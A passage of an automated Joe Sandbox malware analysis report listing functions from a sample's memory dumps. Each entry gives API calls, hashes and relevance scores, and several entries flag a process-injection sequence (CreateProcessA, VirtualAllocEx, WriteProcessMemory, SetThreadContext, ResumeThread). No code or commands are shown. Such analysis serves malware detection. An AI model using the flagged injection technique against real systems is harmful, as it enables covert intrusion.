                                                            Function 04F41C80 Relevance: 1.8, APIs: 1, Instructions: 261processCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 04F41EE7
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2504088307.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_4f40000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: CreateProcess
                                                            • String ID:
                                                            • API String ID: 963392458-0
                                                            • Opcode ID: b8765fb7828f9be6c29c6cb4bbc5b94d9a71d01a2b51a27fe139b4bdfd4bcc39
                                                            • Instruction ID: 5ebc13d6e5f2a619517dc4e3bc54abe33b9a26d23e0f0f73aa374cf8266ddc98
                                                            • Opcode Fuzzy Hash: b8765fb7828f9be6c29c6cb4bbc5b94d9a71d01a2b51a27fe139b4bdfd4bcc39
                                                            • Instruction Fuzzy Hash: 79A123B4D00218CFDB20CFA9C9457EEBBF1BF49314F149169E858A7244DB34A986CF95
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04F42968 Relevance: 1.6, APIs: 1, Instructions: 120injectionCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04F42A40
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2504088307.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_4f40000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: MemoryProcessWrite
                                                            • String ID:
                                                            • API String ID: 3559483778-0
                                                            • Opcode ID: 76b26fb1557ab2ad4096749811692f826908249d33235dfacc51da12a665cd0b
                                                            • Instruction ID: 5cbead0838431d71173d4c8aee8b22773d90425ccaa642b0d101a4483bd59c27
                                                            • Opcode Fuzzy Hash: 76b26fb1557ab2ad4096749811692f826908249d33235dfacc51da12a665cd0b
                                                            • Instruction Fuzzy Hash: DB41BCB5D012589FCF10CFA9D984ADEFBF1BF49314F10942AE814B7250D738A946CB64
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04F42970 Relevance: 1.6, APIs: 1, Instructions: 115injectionCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04F42A40
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2504088307.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_4f40000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: MemoryProcessWrite
                                                            • String ID:
                                                            • API String ID: 3559483778-0
                                                            • Opcode ID: 3d6a855f4fa01b5f780231f20f6a1f3bfe9a4db989c59c7824bb75305a3258b2
                                                            • Instruction ID: aa5f6045cf3771c883029bb02bdb1da90eb459932529e09d637135b9f19eae3e
                                                            • Opcode Fuzzy Hash: 3d6a855f4fa01b5f780231f20f6a1f3bfe9a4db989c59c7824bb75305a3258b2
                                                            • Instruction Fuzzy Hash: 3641ABB5D012589FCF10CFA9D984ADEFBF1BB49314F10942AE814B7250D734AA45CB58
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04F426A9 Relevance: 1.6, APIs: 1, Instructions: 106memoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04F4275A
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2504088307.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_4f40000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: AllocVirtual
                                                            • String ID:
                                                            • API String ID: 4275171209-0
                                                            • Opcode ID: aaa92bea143a4f698a3fd2cdc283decdc93c50424ab659f1b465423c259c7de9
                                                            • Instruction ID: b186d9cce83962a3ba1541e4dfaa135e594e9846662df491416faacd47a9a0c8
                                                            • Opcode Fuzzy Hash: aaa92bea143a4f698a3fd2cdc283decdc93c50424ab659f1b465423c259c7de9
                                                            • Instruction Fuzzy Hash: 96319AB9D002589FCF10CFA9D984ADEFBB1FB49310F10902AE814B7210D735A946CF59
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04F426B0 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04F4275A
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2504088307.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_4f40000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: AllocVirtual
                                                            • String ID:
                                                            • API String ID: 4275171209-0
                                                            • Opcode ID: 24a156255b8b5bc25ec0dc2a72228d6b1e9046051ed19f01b58bf89acdbb1bf7
                                                            • Instruction ID: a6143f4b007dc6808a40938289c897be99959455e028d17a3e6e8391d024ab99
                                                            • Opcode Fuzzy Hash: 24a156255b8b5bc25ec0dc2a72228d6b1e9046051ed19f01b58bf89acdbb1bf7
                                                            • Instruction Fuzzy Hash: 193188B9D002589FCF10CFA9D984ADEFBB1BF49310F10942AE815B7210D735A946CF59
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04F41FE8 Relevance: 1.6, APIs: 1, Instructions: 97threadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Wow64SetThreadContext.KERNEL32(?,?), ref: 04F420DF
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2504088307.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_4f40000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: ContextThreadWow64
                                                            • String ID:
                                                            • API String ID: 983334009-0
                                                            • Opcode ID: b96c1fb72ddc3bab4c0eb26bb052bffd51be7ba090ece948527ef6f2e28c8b9e
                                                            • Instruction ID: 0f25d236305ae755e06933a4bb73d456c6fb6531ce5c23b367746c001bf9a355
                                                            • Opcode Fuzzy Hash: b96c1fb72ddc3bab4c0eb26bb052bffd51be7ba090ece948527ef6f2e28c8b9e
                                                            • Instruction Fuzzy Hash: 513132B4D04258CFDB00CFA9D884AEEBFF0AF4A314F1480AAE454B7251D7385986CF54
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04F4202E Relevance: 1.6, APIs: 1, Instructions: 95threadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Wow64SetThreadContext.KERNEL32(?,?), ref: 04F420DF
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2504088307.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_4f40000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: ContextThreadWow64
                                                            • String ID:
                                                            • API String ID: 983334009-0
                                                            • Opcode ID: f4a286fb3e6a97d413d51c70d662878488fc28b79d3a342bc2b2b9b9ec62a822
                                                            • Instruction ID: f924275b75d6d72b44237803c4d164bee810af3f92ff5f7383e566f8a6c753e0
                                                            • Opcode Fuzzy Hash: f4a286fb3e6a97d413d51c70d662878488fc28b79d3a342bc2b2b9b9ec62a822
                                                            • Instruction Fuzzy Hash: A341ABB5D012589FCB10CFA9D884AEEFFF1AB49314F14802AE414B7250D738A985CF94
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04F42030 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Wow64SetThreadContext.KERNEL32(?,?), ref: 04F420DF
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2504088307.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_4f40000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: ContextThreadWow64
                                                            • String ID:
                                                            • API String ID: 983334009-0
                                                            • Opcode ID: 0f42fef8bab5d3d90f95cc9b909c262ec8c4e4e2085e28659b8c0efd8baa0566
                                                            • Instruction ID: 66f7c7b22e8469092688ea1799e890e29d00f4adea379b838e7de402187842e4
                                                            • Opcode Fuzzy Hash: 0f42fef8bab5d3d90f95cc9b909c262ec8c4e4e2085e28659b8c0efd8baa0566
                                                            • Instruction Fuzzy Hash: 9831ABB5D002589FCB10CFA9D884AEEFFF1AB49314F14802AE414B7250D738A985CF54
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04F42D00 Relevance: 1.6, APIs: 1, Instructions: 78threadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • ResumeThread.KERNELBASE(?), ref: 04F42D86
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2504088307.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_4f40000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: ResumeThread
                                                            • String ID:
                                                            • API String ID: 947044025-0
                                                            • Opcode ID: ece025cc083bbed2cb84758a49244e9d0f42ac512fec99fb1bd9f6a2bfae87d4
                                                            • Instruction ID: 04167b4ffcc6294d2fb223aa7652a722f43377637c923ce197ead97a0916b710
                                                            • Opcode Fuzzy Hash: ece025cc083bbed2cb84758a49244e9d0f42ac512fec99fb1bd9f6a2bfae87d4
                                                            • Instruction Fuzzy Hash: C931CDB5D012189FCB14CFA9D885ADEFBB4EF49310F10942AE415B7350CB35A846CFA8
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04F42D08 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • ResumeThread.KERNELBASE(?), ref: 04F42D86
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2504088307.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_4f40000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: ResumeThread
                                                            • String ID:
                                                            • API String ID: 947044025-0
                                                            • Opcode ID: 96967993f3068158bccb2d22dd29f51ee44e5f173576046714c43f20c6c9e021
                                                            • Instruction ID: 3dd1faf291dc37e9879bb8d4000c1349e7bd99e7c6108c4bc952cd731b1ab5e1
                                                            • Opcode Fuzzy Hash: 96967993f3068158bccb2d22dd29f51ee44e5f173576046714c43f20c6c9e021
                                                            • Instruction Fuzzy Hash: EF31BDB4D012189FCB14CFA9D984ADEFBB4BF49310F14942AE415B7350CB35A942CF98
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D71280 Relevance: 1.4, Strings: 1, Instructions: 145COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: \s^q
                                                            • API String ID: 0-4111632511
                                                            • Opcode ID: b7e63fb922f56fa85063aa77c0ba9918fe2a219185d732f19e9f1c356f04a210
                                                            • Instruction ID: f9fee14be222ec605e57af2853346f9505667e7643a7a00043910cc982bb5533
                                                            • Opcode Fuzzy Hash: b7e63fb922f56fa85063aa77c0ba9918fe2a219185d732f19e9f1c356f04a210
                                                            • Instruction Fuzzy Hash: B651FB78E0020A9FDF14CFA9D984AEDBBB1BF88300F10A669D455EB354DB35A945CF50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D72B08 Relevance: 1.3, Strings: 1, Instructions: 75COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: \s^q
                                                            • API String ID: 0-4111632511
                                                            • Opcode ID: d094c790862ca65ee21bbd315c16e0d799713cfff0737bca5f3326a03b8c4c8c
                                                            • Instruction ID: c1557cdf9ee6531f3013554d3c64691fddc15cf81ab655f670ab5735935eb7f2
                                                            • Opcode Fuzzy Hash: d094c790862ca65ee21bbd315c16e0d799713cfff0737bca5f3326a03b8c4c8c
                                                            • Instruction Fuzzy Hash: 5A2193313404208FCB64DF7DE858A6A77E5EF88B6471184A9E80ECB375EB25EC41CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D74558 Relevance: .1, Instructions: 124COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b145e74c6f7c19d941cc9f1a4b25bc76d1d4ee70c2c131187697b625d39e0098
                                                            • Instruction ID: eaa4ad5d90641528720c2c2d6ff4766d9429b9cbea49fbdc3c70ec083473dd19
                                                            • Opcode Fuzzy Hash: b145e74c6f7c19d941cc9f1a4b25bc76d1d4ee70c2c131187697b625d39e0098
                                                            • Instruction Fuzzy Hash: 04415E31B002049FC754DB6DD894A9EBBF5FF89310B1581AAE509EB361EB31EC41CBA0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D7FCC0 Relevance: .1, Instructions: 114COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 6c862da8f2f824180c9119130a89d0cbdf01265bf73a5d412c6ef7401e90c97a
                                                            • Instruction ID: 84e02b99e954420c116643ade0f92298ac01e3b0a61676596754a48671a18009
                                                            • Opcode Fuzzy Hash: 6c862da8f2f824180c9119130a89d0cbdf01265bf73a5d412c6ef7401e90c97a
                                                            • Instruction Fuzzy Hash: 4E51B170E01218DFDB28DFB9D594A9DBBB2BF88304F20802AE419AB765DB349945CF40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D74542 Relevance: .1, Instructions: 89COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 81ebb34ff7d82047d35b11b8b4290d8cef6323ad7c01cab8884ab7d5b470b8a2
                                                            • Instruction ID: 82df66bd127810fe43e699fdff236a8177bbc612390cbee4132dbd3157698521
                                                            • Opcode Fuzzy Hash: 81ebb34ff7d82047d35b11b8b4290d8cef6323ad7c01cab8884ab7d5b470b8a2
                                                            • Instruction Fuzzy Hash: BE31F834A006048FCB55DF69C99499EBBF5EF89310B2581AAE509EB361E731EC41CF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0112D01C Relevance: .1, Instructions: 74COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2462990220.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_112d000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 3722f10f51effe809f7174e3d66b4fca51cfa037ae3c770c764f9bbef336171c
                                                            • Instruction ID: eac56fff66b62c5dd2d2b22ac5d268497d5b381b4673fca414ef7ad8ba8df24d
                                                            • Opcode Fuzzy Hash: 3722f10f51effe809f7174e3d66b4fca51cfa037ae3c770c764f9bbef336171c
                                                            • Instruction Fuzzy Hash: 79213771104240DFCF19DF58E9C4B2BBF65FB84354F20C569E9090B266C33AD466C7A6
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06D3F5D0 Relevance: .1, Instructions: 68COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2512037383.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_6d20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e2c8cf2fc8fa80e356b75dc029a6ec3cd1fbfaf6436e36f7f5230a63e584c287
                                                            • Instruction ID: 92c18a503a3d6915dab269acfc76a69fc383da114aa470fce3e629711107626c
                                                            • Opcode Fuzzy Hash: e2c8cf2fc8fa80e356b75dc029a6ec3cd1fbfaf6436e36f7f5230a63e584c287
                                                            • Instruction Fuzzy Hash: C12126B0E0522EDFCB54DFA9D4446AEBBF5BB48300F1086AAD415A7364D7349981CFD0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D70DB7 Relevance: .1, Instructions: 67COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: f62b5e1ddaeecdaacbf948966d35e535af5c60cd52195f8959eba11876dfc2eb
                                                            • Instruction ID: ba0d2687b6d418c985ce000f9ccf14a025f3a0957fc07640a5a3f3dc0a7196ae
                                                            • Opcode Fuzzy Hash: f62b5e1ddaeecdaacbf948966d35e535af5c60cd52195f8959eba11876dfc2eb
                                                            • Instruction Fuzzy Hash: 3421AF30A001498FCF45DB78D8906EDBBB1EF4A204B2481AAD049AB355EB39D942CBD0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0112D006 Relevance: .1, Instructions: 65COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2462990220.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_112d000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 5b5c0590c6204412a05a083f940b262edd7d7a284e8f9b4e8f8aee2177e0132c
                                                            • Instruction ID: 58461c1f65f378d0d9c52944621108e5151995c6fe459f6484d10c212601d9b3
                                                            • Opcode Fuzzy Hash: 5b5c0590c6204412a05a083f940b262edd7d7a284e8f9b4e8f8aee2177e0132c
                                                            • Instruction Fuzzy Hash: 842180714083809FCB07CF54E994B16BF71EB86314F2985DAD8454F267C33A981ACBA2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D70DC8 Relevance: .1, Instructions: 52COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 5db3cc6b88fa2e31e48d7dfdedf718f6b597c564bf5b78d02e15039722ecaac7
                                                            • Instruction ID: 0b5bbd9d53c25df941a9d5e5dcdfecc69313d24878bd7e74531803c77b27b733
                                                            • Opcode Fuzzy Hash: 5db3cc6b88fa2e31e48d7dfdedf718f6b597c564bf5b78d02e15039722ecaac7
                                                            • Instruction Fuzzy Hash: 2911BC70A001199FCB45EF68D5505ADB7F2FB88204B108169D409EB355EB39DD42CFD1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06D3E158 Relevance: .0, Instructions: 46COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2512037383.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_6d20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: cb3bdffef99d1996496e70d53465b9ebe5cc2e355ec30958b1cfecb92765ddab
                                                            • Instruction ID: 68285b0ded146455ab83eaa924741199b8107190b9681199ad0cc8543906220c
                                                            • Opcode Fuzzy Hash: cb3bdffef99d1996496e70d53465b9ebe5cc2e355ec30958b1cfecb92765ddab
                                                            • Instruction Fuzzy Hash: 4611B3B0E0021E9FDB48DFA9C9456AEBBF5BF88300F20856AD418A7354DA359A41CF91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D70E28 Relevance: .0, Instructions: 43COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 4ef1cd2c0d8fa468b4b258f0ee400df99b5ca659b1b0d5c19937e05412a5fd56
                                                            • Instruction ID: 645b37cc21496d4f2b516e1a9518de1b1838f5d58b80572cf87db5c4bac0de11
                                                            • Opcode Fuzzy Hash: 4ef1cd2c0d8fa468b4b258f0ee400df99b5ca659b1b0d5c19937e05412a5fd56
                                                            • Instruction Fuzzy Hash: 23011A30B001198FCF45EB68D950AADB7A2FF88205B118269D405AB395EF79ED42CFD1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D708C0 Relevance: .0, Instructions: 40COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a322ad82211f1a8afcc24728cdb7907a8db2e2d8d3a9424c52af736c96a5c6bb
                                                            • Instruction ID: 2168d346fb10ebc3cc40dfc35f5c9fd5133e5552c3a96ed46bf975240914048b
                                                            • Opcode Fuzzy Hash: a322ad82211f1a8afcc24728cdb7907a8db2e2d8d3a9424c52af736c96a5c6bb
                                                            • Instruction Fuzzy Hash: C4F05460B143652FE58966688C60B7E155ECBC6B04F50406CE34EEB2C5CD596C0707AF
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D70838 Relevance: .0, Instructions: 39COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b2c85ddaa8b601237b00ae8113354cab60c51115ac247ae0805cd66275604f0c
                                                            • Instruction ID: 8b2f526558e3adf00f2271325fe662decfd045b151041eefb2f82cb94b1e4348
                                                            • Opcode Fuzzy Hash: b2c85ddaa8b601237b00ae8113354cab60c51115ac247ae0805cd66275604f0c
                                                            • Instruction Fuzzy Hash: 75018F31E04209AFCB19EFB4D55C5EDBBB1EF44311B2040B9D826E3285EB384A55CB82
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D70DEF Relevance: .0, Instructions: 39COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 900e8fe9518824070db74394959c8801ec39b9770482cd0158d729c7c6bd82ea
                                                            • Instruction ID: b4c91f68cfdcd5ae449c2d9bfc56c44cec570db051d9913c1e1763105d83dec5
                                                            • Opcode Fuzzy Hash: 900e8fe9518824070db74394959c8801ec39b9770482cd0158d729c7c6bd82ea
                                                            • Instruction Fuzzy Hash: AC01E8317001198FCF45EB68D9509ADB7A2FB88204B148569D409AB395EF39ED46CFD1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D70CF1 Relevance: .0, Instructions: 38COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e807e194c30727ecbc3a36809c451babeebadc01307e877b942dd7bfde3d1a20
                                                            • Instruction ID: f3ed50a2394324a0da4550ed775fcfd0c3ad7939fe7c60949a0a7ff459a6584a
                                                            • Opcode Fuzzy Hash: e807e194c30727ecbc3a36809c451babeebadc01307e877b942dd7bfde3d1a20
                                                            • Instruction Fuzzy Hash: 45F0F6323043105FC701EA6EFC6095BBBAAEBC561071481BEE419CF781EE65EC06C791
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D70848 Relevance: .0, Instructions: 35COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: faa85f520f3c816b4ecddc5158065cabb99026edf43b92a4d7e9281e259f548d
                                                            • Instruction ID: 256c79c980ec87bbe6955ff1657ae6ac5d72abe3ae413fe920f7ee97d2541739
                                                            • Opcode Fuzzy Hash: faa85f520f3c816b4ecddc5158065cabb99026edf43b92a4d7e9281e259f548d
                                                            • Instruction Fuzzy Hash: EE016D35E04209AFCB28EFB4D51C6ADBBB1EF44301B104079D826E3284EB344A55CB81
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D70D61 Relevance: .0, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 17848411c90f70f47c44d5354861dc6d2ab31543bbd74a0c9f0ee53e4291bdff
                                                            • Instruction ID: eebb1e2dd38bf7a6831c8dda507667ffeded7ae3ff422d19d8aab3a5f3f374f3
                                                            • Opcode Fuzzy Hash: 17848411c90f70f47c44d5354861dc6d2ab31543bbd74a0c9f0ee53e4291bdff
                                                            • Instruction Fuzzy Hash: 14F0E2733006001F8344DB6AE85149AFBD6FBCA160358C07EE01CCB351E935DC028790
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06D21303 Relevance: .0, Instructions: 29COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2512037383.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
